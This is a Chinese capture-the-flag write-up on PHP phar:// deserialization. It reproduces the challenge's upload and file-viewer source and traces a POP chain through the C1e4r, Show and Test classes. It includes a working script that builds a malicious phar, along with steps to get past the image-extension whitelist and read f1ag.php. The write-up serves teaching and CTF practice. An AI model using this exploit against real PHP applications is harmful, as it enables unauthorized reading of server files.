知识点:phar伪协议触发反序列化
经过多次实验,发现在查看文件处可以看文件源码,那么把所有源码拷贝下来。
upload_file.php作用:上传文件并且经function.php判断。
<?php
//upload_file.php
include 'function.php';
upload_file();
?>
function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下,且我们是可以进入upload下的。
<?php
//funtion.php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do(){
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";//文件名和ip合起来md5加密一下,当作文件名
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {//文件存在则删除文件
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);//将文件移动到upload目录下并且重新命名
echo '<script type="text/javascript">alert("上传成功!");</script>';//
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");//白名单
$temp = explode(".",$_FILES["file"]["name"]); //以点分割文件名和类型并以数组返回
$extension = end($temp);//end将数组指针指向最后一个,也就是文件类型
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
//若是允许上传的类型则返回true
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
接下来就看看能看源码的file.php,$show->_show();
这句就是看源码的原因。
<?php
//file.php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/'); //设置可以打开的目录的权限
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
最后就是最重要的class.php,我们就是通过这个文件来实现反序列化,但是它又没有反序列化函数,要怎么触发呢,可以用phar伪协议来触发,现在先看一下怎么来构造pop链
<?php
//class.php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)//给类的实例的不存在的属性或不可访问的属性赋值。
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);//高亮查询的文件
}
}
public function __wakeup()//执行unserialize()时,先会调用这个函数
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);//当调用未定义的属性或没有权限访问的属性
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
pop分析
做这类题我一般是先找漏洞点,然后一步步推上去。
我们先找一下可以读取文件或者可以执行shell的地方,在Test.file_get中可以读取文件,并且它也把flag文件名告诉我们了,f1ag.php
那要怎么触发file_get呢?可以通过Test.__get来触发
而__get又可以通过show类中的__toString触发
最后__toString可以通过C1e4r.__destruct中的echo来触发,并且__destruct中的test可以通过__construct中str获取。
pop链子
然后把生成的.phar文件上传上去,可以抓个爆改一下后缀,绕过白名单。(访问这个文件就会自动生成,或者可以用php命令来执行生成)
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$a->str = $b; //触发__tostring
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$b->str['str'] = $c; //触发__get;
$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发类是C1e4r类
$phar->addFromString("text.txt", "test"); //签名
$phar->stopBuffering();
?>
params[‘source’]的原因
这边有个要解释一下的是,这里是params[‘source’],而不是params[‘其他’]。
我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。
就比如我们是在$content = $this->str['str']->source;
这边触发的,那么它就会把source传给$key.
拿flag
最后我们只要在file.php?file=
这边用phar伪协议触发我们上传的文件就行了。
注:要把php.ini中的phar.readonly设置成Off,不然无法生成phar文件
phar反序列化可以配合这篇文章来看:https://blog.csdn.net/shinygod/article/details/123831499